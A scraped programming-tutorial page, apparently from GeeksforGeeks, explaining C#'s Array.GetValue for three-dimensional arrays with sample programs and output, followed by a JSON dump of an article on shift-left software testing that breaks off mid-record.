// C# program to demonstrate// Array.GetValue(Int32, Int32, Int32)// and array.GetValue(Int64, Int64, Int64)// methodusing System;public class GFG { public static void Main() { // declare a character // array of size 2x2x3 // 2 row and 3 column // number of array is 2 char[, , ] arr = new char[2, 2, 3]{ {// array 1 {'A', 'B', 'C'}, {'D', 'E', 'F'} }, {// array 2 {'G', 'H', 'I'}, {'J', 'K', 'L'}} }; // using GetValue(Int32, Int32, Int32) and // GetValue(Int64, Int64, Int64) method for (int i = 0; i < 2; i++) { for (int j = 0; j < 2; j++) { for (int k = 0; k < 3; k++) { Console.WriteLine("element at index [{0}, {1}, {2}] is : {3}", i, j, k, arr.GetValue(i, j, k)); } } } }}
element at index [0, 0, 0] is : A
element at index [0, 0, 1] is : B
element at index [0, 0, 2] is : C
element at index [0, 1, 0] is : D
element at index [0, 1, 1] is : E
element at index [0, 1, 2] is : F
element at index [1, 0, 0] is : G
element at index [1, 0, 1] is : H
element at index [1, 0, 2] is : I
element at index [1, 1, 0] is : J
element at index [1, 1, 1] is : K
element at index [1, 1, 2] is : L
Example 2:
C#
// C# program to demonstrate// Array.GetValue(Int32, Int32, Int32)// and array.GetValue(Int64, Int64, Int64)// methodusing System; public class GFG { public static void Main() { // declare a character // array of size 2x2x3 // 2 row and 3 column // number of array is 2 string[,, ] arr = new string[2, 2, 3]; // use "SetValue()" method to set // the value at specified index arr.SetValue("C++", 0, 0, 0); arr.SetValue("Java", 0, 0, 1); arr.SetValue("C#", 0, 0, 2); arr.SetValue("Perl", 0, 1, 0); arr.SetValue("Python", 0, 1, 1); arr.SetValue("PHP", 0, 1, 2); arr.SetValue("GO", 1, 0, 0); arr.SetValue("Ruby", 1, 0, 1); arr.SetValue("F#", 1, 0, 2); arr.SetValue("JavaScript", 1, 1, 0); arr.SetValue("SQL", 1, 1, 1); arr.SetValue("kotlin", 1, 1, 2); // using GetValue(Int32, Int32, Int32) and // GetValue(Int64, Int64, Int64) method for (int i = 0; i < 2; i++) { for (int j = 0; j < 2; j++) { for (int k = 0; k < 3; k++) { Console.WriteLine("element at index [{0}, {1}, {2}] is : {3}", i, j, k, arr.GetValue(i, j, k)); } } } }}
element at index [0, 0, 0] is : C++
element at index [0, 0, 1] is : Java
element at index [0, 0, 2] is : C#
element at index [0, 1, 0] is : Perl
element at index [0, 1, 1] is : Python
element at index [0, 1, 2] is : PHP
element at index [1, 0, 0] is : GO
element at index [1, 0, 1] is : Ruby
element at index [1, 0, 2] is : F#
element at index [1, 1, 0] is : JavaScript
element at index [1, 1, 1] is : SQL
element at index [1, 1, 2] is : kotlin
Note: For online compiler it is not possible to use 32-bit or 64-bit integer. Use offline compiler for 32 or 64-bit integer.
simmytarika5
CSharp-Arrays
CSharp-method
C#
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Destructors in C#
Difference between Ref and Out keywords in C#
C# | Delegates
Extension Method in C#
C# | Constructors
Introduction to .NET Framework
C# | Abstract Classes
C# | Class and Object
C# | Data Types
C# | Encapsulation
|
[
{
"code": null,
"e": 24552,
"s": 24524,
"text": "\n23 Mar, 2022"
},
{
"code": null,
"e": 24740,
"s": 24552,
"text": "Array.GetValue() Method in C# is used to gets the value of the specified element in the current Array. There are total 8 methods in the overload list of this method which are as follows: "
},
{
"code": null,
"e": 24769,
"s": 24740,
"text": "Array.GetValue(Int32, Int32)"
},
{
"code": null,
"e": 24798,
"s": 24769,
"text": "Array.GetValue(Int64, Int64)"
},
{
"code": null,
"e": 24820,
"s": 24798,
"text": "Array.GetValue(Int32)"
},
{
"code": null,
"e": 24842,
"s": 24820,
"text": "Array.GetValue(Int64)"
},
{
"code": null,
"e": 24878,
"s": 24842,
"text": "Array.GetValue(Int32, Int32, Int32)"
},
{
"code": null,
"e": 24914,
"s": 24878,
"text": "Array.GetValue(Int64, Int64, Int64)"
},
{
"code": null,
"e": 24938,
"s": 24914,
"text": "Array.GetValue(Int32[])"
},
{
"code": null,
"e": 24962,
"s": 24938,
"text": "Array.GetValue(Int64[])"
},
{
"code": null,
"e": 25080,
"s": 24962,
"text": "In this article we are explaining Array.GetValue(Int32, Int32, Int32) and Array.GetValue(Int64, Int64, Int64) method."
},
{
"code": null,
"e": 25261,
"s": 25080,
"text": "Array.GetValue(Int32, Int32, Int32) method is used to get the value at the specified position in the three-dimensional Array. The indexes are specified as 32-bit integers. Syntax: "
},
{
"code": null,
"e": 25322,
"s": 25261,
"text": "public object GetValue (int index1, int index2, int index3);"
},
{
"code": null,
"e": 25329,
"s": 25322,
"text": "Here, "
},
{
"code": null,
"e": 25394,
"s": 25329,
"text": "“index1” is the number of array in which the element is located."
},
{
"code": null,
"e": 25460,
"s": 25394,
"text": "“index2” is the index of the row in which the element is located."
},
{
"code": null,
"e": 25529,
"s": 25460,
"text": "“index3” is the index of the column in which the element is located."
},
{
"code": null,
"e": 25679,
"s": 25529,
"text": "Returns: This method returns the element at the specified index define by the passed parameters in the 3D array. The value is a 32-bit integer value."
},
{
"code": null,
"e": 25691,
"s": 25679,
"text": "Exceptions:"
},
{
"code": null,
"e": 25768,
"s": 25691,
"text": "ArgumentException: The current Array does not have exactly Three dimensions."
},
{
"code": null,
"e": 25916,
"s": 25768,
"text": "IndexOutOfRangeException: If index1 or index2 or index3 is outside the range of valid indexes for the corresponding dimension of the current Array."
},
{
"code": null,
"e": 26097,
"s": 25916,
"text": "Array.GetValue(Int64, Int64, Int64) method is used to get the value at the specified position in the three-dimensional Array. The indexes are specified as 64-bit integers. Syntax: "
},
{
"code": null,
"e": 26161,
"s": 26097,
"text": "public object GetValue (long index1, long index2, long index3);"
},
{
"code": null,
"e": 26168,
"s": 26161,
"text": "Here, "
},
{
"code": null,
"e": 26233,
"s": 26168,
"text": "“index1” is the number of array in which the element is located."
},
{
"code": null,
"e": 26299,
"s": 26233,
"text": "“index2” is the index of the row in which the element is located."
},
{
"code": null,
"e": 26368,
"s": 26299,
"text": "“index3” is the index of the column in which the element is located."
},
{
"code": null,
"e": 26518,
"s": 26368,
"text": "Returns: This method returns the element at the specified index define by the passed parameters in the 3D array. The value is a 64-bit integer value."
},
{
"code": null,
"e": 26530,
"s": 26518,
"text": "Exceptions:"
},
{
"code": null,
"e": 26607,
"s": 26530,
"text": "ArgumentException: The current Array does not have exactly three dimensions."
},
{
"code": null,
"e": 26755,
"s": 26607,
"text": "IndexOutOfRangeException: If index1 or index2 or index2 is outside the range of valid indexes for the corresponding dimension of the current Array."
},
{
"code": null,
"e": 26767,
"s": 26755,
"text": "Example 1: "
},
{
"code": null,
"e": 26770,
"s": 26767,
"text": "C#"
},
{
"code": "// C# program to demonstrate// Array.GetValue(Int32, Int32, Int32)// and array.GetValue(Int64, Int64, Int64)// methodusing System;public class GFG { public static void Main() { // declare a character // array of size 2x2x3 // 2 row and 3 column // number of array is 2 char[, , ] arr = new char[2, 2, 3]{ {// array 1 {'A', 'B', 'C'}, {'D', 'E', 'F'} }, {// array 2 {'G', 'H', 'I'}, {'J', 'K', 'L'}} }; // using GetValue(Int32, Int32, Int32) and // GetValue(Int64, Int64, Int64) method for (int i = 0; i < 2; i++) { for (int j = 0; j < 2; j++) { for (int k = 0; k < 3; k++) { Console.WriteLine(\"element at index [{0}, {1}, {2}] is : {3}\", i, j, k, arr.GetValue(i, j, k)); } } } }}",
"e": 27599,
"s": 26770,
"text": null
},
{
"code": null,
"e": 28007,
"s": 27599,
"text": "element at index [0, 0, 0] is : A\nelement at index [0, 0, 1] is : B\nelement at index [0, 0, 2] is : C\nelement at index [0, 1, 0] is : D\nelement at index [0, 1, 1] is : E\nelement at index [0, 1, 2] is : F\nelement at index [1, 0, 0] is : G\nelement at index [1, 0, 1] is : H\nelement at index [1, 0, 2] is : I\nelement at index [1, 1, 0] is : J\nelement at index [1, 1, 1] is : K\nelement at index [1, 1, 2] is : L"
},
{
"code": null,
"e": 28019,
"s": 28007,
"text": "Example 2: "
},
{
"code": null,
"e": 28022,
"s": 28019,
"text": "C#"
},
{
"code": "// C# program to demonstrate// Array.GetValue(Int32, Int32, Int32)// and array.GetValue(Int64, Int64, Int64)// methodusing System; public class GFG { public static void Main() { // declare a character // array of size 2x2x3 // 2 row and 3 column // number of array is 2 string[,, ] arr = new string[2, 2, 3]; // use \"SetValue()\" method to set // the value at specified index arr.SetValue(\"C++\", 0, 0, 0); arr.SetValue(\"Java\", 0, 0, 1); arr.SetValue(\"C#\", 0, 0, 2); arr.SetValue(\"Perl\", 0, 1, 0); arr.SetValue(\"Python\", 0, 1, 1); arr.SetValue(\"PHP\", 0, 1, 2); arr.SetValue(\"GO\", 1, 0, 0); arr.SetValue(\"Ruby\", 1, 0, 1); arr.SetValue(\"F#\", 1, 0, 2); arr.SetValue(\"JavaScript\", 1, 1, 0); arr.SetValue(\"SQL\", 1, 1, 1); arr.SetValue(\"kotlin\", 1, 1, 2); // using GetValue(Int32, Int32, Int32) and // GetValue(Int64, Int64, Int64) method for (int i = 0; i < 2; i++) { for (int j = 0; j < 2; j++) { for (int k = 0; k < 3; k++) { Console.WriteLine(\"element at index [{0}, {1}, {2}] is : {3}\", i, j, k, arr.GetValue(i, j, k)); } } } }}",
"e": 29343,
"s": 28022,
"text": null
},
{
"code": null,
"e": 29788,
"s": 29343,
"text": "element at index [0, 0, 0] is : C++\nelement at index [0, 0, 1] is : Java\nelement at index [0, 0, 2] is : C#\nelement at index [0, 1, 0] is : Perl\nelement at index [0, 1, 1] is : Python\nelement at index [0, 1, 2] is : PHP\nelement at index [1, 0, 0] is : GO\nelement at index [1, 0, 1] is : Ruby\nelement at index [1, 0, 2] is : F#\nelement at index [1, 1, 0] is : JavaScript\nelement at index [1, 1, 1] is : SQL\nelement at index [1, 1, 2] is : kotlin"
},
{
"code": null,
"e": 29914,
"s": 29788,
"text": "Note: For online compiler it is not possible to use 32-bit or 64-bit integer. Use offline compiler for 32 or 64-bit integer. "
},
{
"code": null,
"e": 29927,
"s": 29914,
"text": "simmytarika5"
},
{
"code": null,
"e": 29941,
"s": 29927,
"text": "CSharp-Arrays"
},
{
"code": null,
"e": 29955,
"s": 29941,
"text": "CSharp-method"
},
{
"code": null,
"e": 29958,
"s": 29955,
"text": "C#"
},
{
"code": null,
"e": 30056,
"s": 29958,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 30074,
"s": 30056,
"text": "Destructors in C#"
},
{
"code": null,
"e": 30120,
"s": 30074,
"text": "Difference between Ref and Out keywords in C#"
},
{
"code": null,
"e": 30135,
"s": 30120,
"text": "C# | Delegates"
},
{
"code": null,
"e": 30158,
"s": 30135,
"text": "Extension Method in C#"
},
{
"code": null,
"e": 30176,
"s": 30158,
"text": "C# | Constructors"
},
{
"code": null,
"e": 30207,
"s": 30176,
"text": "Introduction to .NET Framework"
},
{
"code": null,
"e": 30229,
"s": 30207,
"text": "C# | Abstract Classes"
},
{
"code": null,
"e": 30251,
"s": 30229,
"text": "C# | Class and Object"
},
{
"code": null,
"e": 30267,
"s": 30251,
"text": "C# | Data Types"
}
] |
Shift Left Testing approach
|
06 Apr, 2020
Software testing is a necessity. It ensures that a product is being released to end customers without faults. And being a widely discussed topic, there are many approaches to testing software.
Some companies champion a “waterfall approach” to product design. Here, the software is designed sequentially. It strictly goes through the development cycle of:
1. Requirements/Gathering
2. Design
3. Development
4. Deployment
Testing is delegated to the end stages of the product design (before the deployment stage). This is normally called “shift right testing”.
Testing at the End Stages – An Inferior Strategy:All codes are prone to bugs. And bugs can be minor (low risk) or major (high risk) depending on the type of error.
The earlier those bugs are caught, the better. It allows time for development teams to fix software without delays and avoid prolonged end testing phases. It’s also easier to fix bugged software when too many bugs aren’t showing up at the same time. This is the reason shift right strategies is ineffective in most cases.
Realistically, it’s exhausting going through every coding line of an end-product – just to find a bug or two. It’s better to fix each unit as the code is being developed. And this is where shift-left comes in!
Improved Code Quality:The earlier you detect a bug, the better. It allows for better communication between testing and developing teams. It allows both teams to address each bug 1-by-1.Contrast that to a shift-right approach. Here, all bugs are addressed at once. And many may be forgotten or ignored (due to time or budget constraints).Multiple test types:When codes are tested at each design stage – a multitude of test types can be applied.For example, unit testing is a possibility with a shift-left approach. Here, each component is tested separately to check for individual bugs. Also, integration testing can be done frequently across the design stage. And this ensures that bugs don’t develop as different units are assigned together.Contrast that to shift-right strategies, which only allow for the possibility of system testing. And even that isn’t accurate and isn’t effective at discovering all bugs.Finding design defects and architectural problems:Sometimes, bugs aren’t the problem. Major aspects (or ideas) that are being implemented that may be defective. Those defects (which may interfere with other codes) should be discovered early. Otherwise, too much time is wasted on implementing major design plans that are unfeasible.This is another added pro of shift-left testing. After all, smaller unit tests are automated, and their test cases are easy to design.Contrast that to system testing – which takes time, and must be done manually. It also can’t be repeated often. And that repeatability is what makes shift-left approaches better. It allows for a product of better code quality, reducing the chances of high-risk errors!Reduced development and testing costs:Bugs that are caught early reduce the chances of side-effects.With fewer side-effects to worry about, product launches can be done on-time. A final code can be delivered to the end customer without needing future fixes. Here, it’s recommended that bug tests are done after every build. This allows for better automated continuous testing, which is impossible with large bug sizes.Also, shift-left approaches reduce the need for system testing. And in fact, that might be eliminated altogether if testing is done frequently.Fewer problems for future versions:Many software is designed with online features. They’re also designed with the intention of patching future versions. Those future versions cannot be added in – if prior versions have unfixed bugs.This leads to a “bow wave” effect, where multiple bug side-effects might stack. And the result is, certain bugs become impossible to fix.Keeps all project stakeholders informed:With the shift-left approach, testing is done at each critical stage of the software’s development. As a result, the testing team ends up (by necessity) being involved in the planning of the project. They’re also informed on its business goals.This lets them gain a better perspective on the software’s purpose. And it allows them to find creative ideas and solutions in the middle of testing. Plus, it keeps them motivated. Because testing teams understand what their efforts contribute to in the long-run.Keeps the developer team conscientious:Many design projects put developers in the position of creating code. But what about checking quality while writing each line?This mindset is ingrained into developers by encouraging frequent testing. And since testing requires time-consuming revisions, it ensures that a developer minimizes errors while writing code.With a shift-left approach, developers are encouraged to be more responsible. And it also enhances their skills and proficiency levels!Improved testing collaboration:Shift-left approaches take advantage of frequent “automation”. It lets them perform continuous testing to reduce time. But, that still leaves the problem of designing those tests. And this is often left to the testing team to figure out.Also, the problem here is, designing the best tests requires knowing the purpose of the product, and it’s business goals.With a shift-left approach, since developer and testing teams work together – they can design automated tests with each other’s’ input. This leads to the development of testing scenarios that are realistic and accurate at finding bugs and problems.
Improved Code Quality:The earlier you detect a bug, the better. It allows for better communication between testing and developing teams. It allows both teams to address each bug 1-by-1.Contrast that to a shift-right approach. Here, all bugs are addressed at once. And many may be forgotten or ignored (due to time or budget constraints).
Contrast that to a shift-right approach. Here, all bugs are addressed at once. And many may be forgotten or ignored (due to time or budget constraints).
Multiple test types:When codes are tested at each design stage – a multitude of test types can be applied.For example, unit testing is a possibility with a shift-left approach. Here, each component is tested separately to check for individual bugs. Also, integration testing can be done frequently across the design stage. And this ensures that bugs don’t develop as different units are assigned together.Contrast that to shift-right strategies, which only allow for the possibility of system testing. And even that isn’t accurate and isn’t effective at discovering all bugs.Finding design defects and architectural problems:Sometimes, bugs aren’t the problem. Major aspects (or ideas) that are being implemented that may be defective. Those defects (which may interfere with other codes) should be discovered early. Otherwise, too much time is wasted on implementing major design plans that are unfeasible.This is another added pro of shift-left testing. After all, smaller unit tests are automated, and their test cases are easy to design.Contrast that to system testing – which takes time, and must be done manually. It also can’t be repeated often. And that repeatability is what makes shift-left approaches better. It allows for a product of better code quality, reducing the chances of high-risk errors!
For example, unit testing is a possibility with a shift-left approach. Here, each component is tested separately to check for individual bugs. Also, integration testing can be done frequently across the design stage. And this ensures that bugs don’t develop as different units are assigned together.
Contrast that to shift-right strategies, which only allow for the possibility of system testing. And even that isn’t accurate and isn’t effective at discovering all bugs.
Finding design defects and architectural problems:Sometimes, bugs aren’t the problem. Major aspects (or ideas) that are being implemented that may be defective. Those defects (which may interfere with other codes) should be discovered early. Otherwise, too much time is wasted on implementing major design plans that are unfeasible.
This is another added pro of shift-left testing. After all, smaller unit tests are automated, and their test cases are easy to design.
Contrast that to system testing – which takes time, and must be done manually. It also can’t be repeated often. And that repeatability is what makes shift-left approaches better. It allows for a product of better code quality, reducing the chances of high-risk errors!
Reduced development and testing costs:Bugs that are caught early reduce the chances of side-effects.With fewer side-effects to worry about, product launches can be done on-time. A final code can be delivered to the end customer without needing future fixes. Here, it’s recommended that bug tests are done after every build. This allows for better automated continuous testing, which is impossible with large bug sizes.Also, shift-left approaches reduce the need for system testing. And in fact, that might be eliminated altogether if testing is done frequently.Fewer problems for future versions:Many software is designed with online features. They’re also designed with the intention of patching future versions. Those future versions cannot be added in – if prior versions have unfixed bugs.This leads to a “bow wave” effect, where multiple bug side-effects might stack. And the result is, certain bugs become impossible to fix.
With fewer side-effects to worry about, product launches can be done on-time. A final code can be delivered to the end customer without needing future fixes. Here, it’s recommended that bug tests are done after every build. This allows for better automated continuous testing, which is impossible with large bug sizes.
Also, shift-left approaches reduce the need for system testing. And in fact, that might be eliminated altogether if testing is done frequently.
Fewer problems for future versions:Many software is designed with online features. They’re also designed with the intention of patching future versions. Those future versions cannot be added in – if prior versions have unfixed bugs.
This leads to a “bow wave” effect, where multiple bug side-effects might stack. And the result is, certain bugs become impossible to fix.
Keeps all project stakeholders informed:With the shift-left approach, testing is done at each critical stage of the software’s development. As a result, the testing team ends up (by necessity) being involved in the planning of the project. They’re also informed on its business goals.This lets them gain a better perspective on the software’s purpose. And it allows them to find creative ideas and solutions in the middle of testing. Plus, it keeps them motivated. Because testing teams understand what their efforts contribute to in the long-run.
This lets them gain a better perspective on the software’s purpose. And it allows them to find creative ideas and solutions in the middle of testing. Plus, it keeps them motivated. Because testing teams understand what their efforts contribute to in the long-run.
Keeps the developer team conscientious:Many design projects put developers in the position of creating code. But what about checking quality while writing each line?This mindset is ingrained into developers by encouraging frequent testing. And since testing requires time-consuming revisions, it ensures that a developer minimizes errors while writing code.With a shift-left approach, developers are encouraged to be more responsible. And it also enhances their skills and proficiency levels!
This mindset is ingrained into developers by encouraging frequent testing. And since testing requires time-consuming revisions, it ensures that a developer minimizes errors while writing code.
With a shift-left approach, developers are encouraged to be more responsible. And it also enhances their skills and proficiency levels!
Improved testing collaboration:Shift-left approaches take advantage of frequent “automation”. It lets them perform continuous testing to reduce time. But, that still leaves the problem of designing those tests. And this is often left to the testing team to figure out.Also, the problem here is, designing the best tests requires knowing the purpose of the product, and it’s business goals.With a shift-left approach, since developer and testing teams work together – they can design automated tests with each other’s’ input. This leads to the development of testing scenarios that are realistic and accurate at finding bugs and problems.
Also, the problem here is, designing the best tests requires knowing the purpose of the product, and it’s business goals.
With a shift-left approach, since developer and testing teams work together – they can design automated tests with each other’s’ input. This leads to the development of testing scenarios that are realistic and accurate at finding bugs and problems.
Picking the approach that works for you:Shift-left approaches can be practiced in a multitude of ways. And they suit software of all sizes (from large online platforms – to small mobile apps). As a result, you’ll find that your design deadline differs based on the project. And as a result, the approach you pick differs.
Model-based:At least half of a given software’s bugs appear during the requirements gathering phase. Finding bugs in that stage reduces any need to fix bugs later on. Plus, they keep testing teams informed on the basic goals of the project.
Traditional testing:Here, the focus is on continuous testing, through unit and integration tests. It focuses on automation as much as possible, thus saving time and development costs.This form of testing tends to ignore acceptance and system tests (whose results are more or less guaranteed through frequent unit/integration tests).
This form of testing tends to ignore acceptance and system tests (whose results are more or less guaranteed through frequent unit/integration tests).
Incremental testing:This tries to mimic a traditional testing model – but it’s aimed at large projects. Testing is broken down into minor pieces, where a set of codes are tested. After codes are integrated together, they’re tested again to ensure a lack of bugs.
DevOps/Fragile testing:Performed less frequently than traditional models, this form of testing works for smaller projects that have tight deadlines.
Software Engineering
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n06 Apr, 2020"
},
{
"code": null,
"e": 221,
"s": 28,
"text": "Software testing is a necessity. It ensures that a product is being released to end customers without faults. And being a widely discussed topic, there are many approaches to testing software."
},
{
"code": null,
"e": 383,
"s": 221,
"text": "Some companies champion a “waterfall approach” to product design. Here, the software is designed sequentially. It strictly goes through the development cycle of:"
},
{
"code": null,
"e": 449,
"s": 383,
"text": "1. Requirements/Gathering\n2. Design\n3. Development\n4. Deployment "
},
{
"code": null,
"e": 588,
"s": 449,
"text": "Testing is delegated to the end stages of the product design (before the deployment stage). This is normally called “shift right testing”."
},
{
"code": null,
"e": 752,
"s": 588,
"text": "Testing at the End Stages – An Inferior Strategy:All codes are prone to bugs. And bugs can be minor (low risk) or major (high risk) depending on the type of error."
},
{
"code": null,
"e": 1074,
"s": 752,
"text": "The earlier those bugs are caught, the better. It allows time for development teams to fix software without delays and avoid prolonged end testing phases. It’s also easier to fix bugged software when too many bugs aren’t showing up at the same time. This is the reason shift right strategies is ineffective in most cases."
},
{
"code": null,
"e": 1284,
"s": 1074,
"text": "Realistically, it’s exhausting going through every coding line of an end-product – just to find a bug or two. It’s better to fix each unit as the code is being developed. And this is where shift-left comes in!"
},
{
"code": null,
"e": 5537,
"s": 1284,
"text": "Improved Code Quality:The earlier you detect a bug, the better. It allows for better communication between testing and developing teams. It allows both teams to address each bug 1-by-1.Contrast that to a shift-right approach. Here, all bugs are addressed at once. And many may be forgotten or ignored (due to time or budget constraints).Multiple test types:When codes are tested at each design stage – a multitude of test types can be applied.For example, unit testing is a possibility with a shift-left approach. Here, each component is tested separately to check for individual bugs. Also, integration testing can be done frequently across the design stage. And this ensures that bugs don’t develop as different units are assigned together.Contrast that to shift-right strategies, which only allow for the possibility of system testing. And even that isn’t accurate and isn’t effective at discovering all bugs.Finding design defects and architectural problems:Sometimes, bugs aren’t the problem. Major aspects (or ideas) that are being implemented that may be defective. Those defects (which may interfere with other codes) should be discovered early. Otherwise, too much time is wasted on implementing major design plans that are unfeasible.This is another added pro of shift-left testing. After all, smaller unit tests are automated, and their test cases are easy to design.Contrast that to system testing – which takes time, and must be done manually. It also can’t be repeated often. And that repeatability is what makes shift-left approaches better. It allows for a product of better code quality, reducing the chances of high-risk errors!Reduced development and testing costs:Bugs that are caught early reduce the chances of side-effects.With fewer side-effects to worry about, product launches can be done on-time. A final code can be delivered to the end customer without needing future fixes. Here, it’s recommended that bug tests are done after every build. This allows for better automated continuous testing, which is impossible with large bug sizes.Also, shift-left approaches reduce the need for system testing. And in fact, that might be eliminated altogether if testing is done frequently.Fewer problems for future versions:Many software is designed with online features. They’re also designed with the intention of patching future versions. Those future versions cannot be added in – if prior versions have unfixed bugs.This leads to a “bow wave” effect, where multiple bug side-effects might stack. And the result is, certain bugs become impossible to fix.Keeps all project stakeholders informed:With the shift-left approach, testing is done at each critical stage of the software’s development. As a result, the testing team ends up (by necessity) being involved in the planning of the project. They’re also informed on its business goals.This lets them gain a better perspective on the software’s purpose. And it allows them to find creative ideas and solutions in the middle of testing. Plus, it keeps them motivated. Because testing teams understand what their efforts contribute to in the long-run.Keeps the developer team conscientious:Many design projects put developers in the position of creating code. But what about checking quality while writing each line?This mindset is ingrained into developers by encouraging frequent testing. And since testing requires time-consuming revisions, it ensures that a developer minimizes errors while writing code.With a shift-left approach, developers are encouraged to be more responsible. And it also enhances their skills and proficiency levels!Improved testing collaboration:Shift-left approaches take advantage of frequent “automation”. It lets them perform continuous testing to reduce time. But, that still leaves the problem of designing those tests. And this is often left to the testing team to figure out.Also, the problem here is, designing the best tests requires knowing the purpose of the product, and it’s business goals.With a shift-left approach, since developer and testing teams work together – they can design automated tests with each other’s’ input. This leads to the development of testing scenarios that are realistic and accurate at finding bugs and problems."
},
{
"code": null,
"e": 5875,
"s": 5537,
"text": "Improved Code Quality:The earlier you detect a bug, the better. It allows for better communication between testing and developing teams. It allows both teams to address each bug 1-by-1.Contrast that to a shift-right approach. Here, all bugs are addressed at once. And many may be forgotten or ignored (due to time or budget constraints)."
},
{
"code": null,
"e": 6028,
"s": 5875,
"text": "Contrast that to a shift-right approach. Here, all bugs are addressed at once. And many may be forgotten or ignored (due to time or budget constraints)."
},
{
"code": null,
"e": 7338,
"s": 6028,
"text": "Multiple test types:When codes are tested at each design stage – a multitude of test types can be applied.For example, unit testing is a possibility with a shift-left approach. Here, each component is tested separately to check for individual bugs. Also, integration testing can be done frequently across the design stage. And this ensures that bugs don’t develop as different units are assigned together.Contrast that to shift-right strategies, which only allow for the possibility of system testing. And even that isn’t accurate and isn’t effective at discovering all bugs.Finding design defects and architectural problems:Sometimes, bugs aren’t the problem. Major aspects (or ideas) that are being implemented that may be defective. Those defects (which may interfere with other codes) should be discovered early. Otherwise, too much time is wasted on implementing major design plans that are unfeasible.This is another added pro of shift-left testing. After all, smaller unit tests are automated, and their test cases are easy to design.Contrast that to system testing – which takes time, and must be done manually. It also can’t be repeated often. And that repeatability is what makes shift-left approaches better. It allows for a product of better code quality, reducing the chances of high-risk errors!"
},
{
"code": null,
"e": 7638,
"s": 7338,
"text": "For example, unit testing is a possibility with a shift-left approach. Here, each component is tested separately to check for individual bugs. Also, integration testing can be done frequently across the design stage. And this ensures that bugs don’t develop as different units are assigned together."
},
{
"code": null,
"e": 7809,
"s": 7638,
"text": "Contrast that to shift-right strategies, which only allow for the possibility of system testing. And even that isn’t accurate and isn’t effective at discovering all bugs."
},
{
"code": null,
"e": 8142,
"s": 7809,
"text": "Finding design defects and architectural problems:Sometimes, bugs aren’t the problem. Major aspects (or ideas) that are being implemented that may be defective. Those defects (which may interfere with other codes) should be discovered early. Otherwise, too much time is wasted on implementing major design plans that are unfeasible."
},
{
"code": null,
"e": 8277,
"s": 8142,
"text": "This is another added pro of shift-left testing. After all, smaller unit tests are automated, and their test cases are easy to design."
},
{
"code": null,
"e": 8546,
"s": 8277,
"text": "Contrast that to system testing – which takes time, and must be done manually. It also can’t be repeated often. And that repeatability is what makes shift-left approaches better. It allows for a product of better code quality, reducing the chances of high-risk errors!"
},
{
"code": null,
"e": 9477,
"s": 8546,
"text": "Reduced development and testing costs:Bugs that are caught early reduce the chances of side-effects.With fewer side-effects to worry about, product launches can be done on-time. A final code can be delivered to the end customer without needing future fixes. Here, it’s recommended that bug tests are done after every build. This allows for better automated continuous testing, which is impossible with large bug sizes.Also, shift-left approaches reduce the need for system testing. And in fact, that might be eliminated altogether if testing is done frequently.Fewer problems for future versions:Many software is designed with online features. They’re also designed with the intention of patching future versions. Those future versions cannot be added in – if prior versions have unfixed bugs.This leads to a “bow wave” effect, where multiple bug side-effects might stack. And the result is, certain bugs become impossible to fix."
},
{
"code": null,
"e": 9796,
"s": 9477,
"text": "With fewer side-effects to worry about, product launches can be done on-time. A final code can be delivered to the end customer without needing future fixes. Here, it’s recommended that bug tests are done after every build. This allows for better automated continuous testing, which is impossible with large bug sizes."
},
{
"code": null,
"e": 9940,
"s": 9796,
"text": "Also, shift-left approaches reduce the need for system testing. And in fact, that might be eliminated altogether if testing is done frequently."
},
{
"code": null,
"e": 10173,
"s": 9940,
"text": "Fewer problems for future versions:Many software is designed with online features. They’re also designed with the intention of patching future versions. Those future versions cannot be added in – if prior versions have unfixed bugs."
},
{
"code": null,
"e": 10311,
"s": 10173,
"text": "This leads to a “bow wave” effect, where multiple bug side-effects might stack. And the result is, certain bugs become impossible to fix."
},
{
"code": null,
"e": 10859,
"s": 10311,
"text": "Keeps all project stakeholders informed:With the shift-left approach, testing is done at each critical stage of the software’s development. As a result, the testing team ends up (by necessity) being involved in the planning of the project. They’re also informed on its business goals.This lets them gain a better perspective on the software’s purpose. And it allows them to find creative ideas and solutions in the middle of testing. Plus, it keeps them motivated. Because testing teams understand what their efforts contribute to in the long-run."
},
{
"code": null,
"e": 11123,
"s": 10859,
"text": "This lets them gain a better perspective on the software’s purpose. And it allows them to find creative ideas and solutions in the middle of testing. Plus, it keeps them motivated. Because testing teams understand what their efforts contribute to in the long-run."
},
{
"code": null,
"e": 11616,
"s": 11123,
"text": "Keeps the developer team conscientious:Many design projects put developers in the position of creating code. But what about checking quality while writing each line?This mindset is ingrained into developers by encouraging frequent testing. And since testing requires time-consuming revisions, it ensures that a developer minimizes errors while writing code.With a shift-left approach, developers are encouraged to be more responsible. And it also enhances their skills and proficiency levels!"
},
{
"code": null,
"e": 11809,
"s": 11616,
"text": "This mindset is ingrained into developers by encouraging frequent testing. And since testing requires time-consuming revisions, it ensures that a developer minimizes errors while writing code."
},
{
"code": null,
"e": 11945,
"s": 11809,
"text": "With a shift-left approach, developers are encouraged to be more responsible. And it also enhances their skills and proficiency levels!"
},
{
"code": null,
"e": 12583,
"s": 11945,
"text": "Improved testing collaboration:Shift-left approaches take advantage of frequent “automation”. It lets them perform continuous testing to reduce time. But, that still leaves the problem of designing those tests. And this is often left to the testing team to figure out.Also, the problem here is, designing the best tests requires knowing the purpose of the product, and it’s business goals.With a shift-left approach, since developer and testing teams work together – they can design automated tests with each other’s’ input. This leads to the development of testing scenarios that are realistic and accurate at finding bugs and problems."
},
{
"code": null,
"e": 12705,
"s": 12583,
"text": "Also, the problem here is, designing the best tests requires knowing the purpose of the product, and it’s business goals."
},
{
"code": null,
"e": 12954,
"s": 12705,
"text": "With a shift-left approach, since developer and testing teams work together – they can design automated tests with each other’s’ input. This leads to the development of testing scenarios that are realistic and accurate at finding bugs and problems."
},
{
"code": null,
"e": 13276,
"s": 12954,
"text": "Picking the approach that works for you:Shift-left approaches can be practiced in a multitude of ways. And they suit software of all sizes (from large online platforms – to small mobile apps). As a result, you’ll find that your design deadline differs based on the project. And as a result, the approach you pick differs."
},
{
"code": null,
"e": 13517,
"s": 13276,
"text": "Model-based:At least half of a given software’s bugs appear during the requirements gathering phase. Finding bugs in that stage reduces any need to fix bugs later on. Plus, they keep testing teams informed on the basic goals of the project."
},
{
"code": null,
"e": 13850,
"s": 13517,
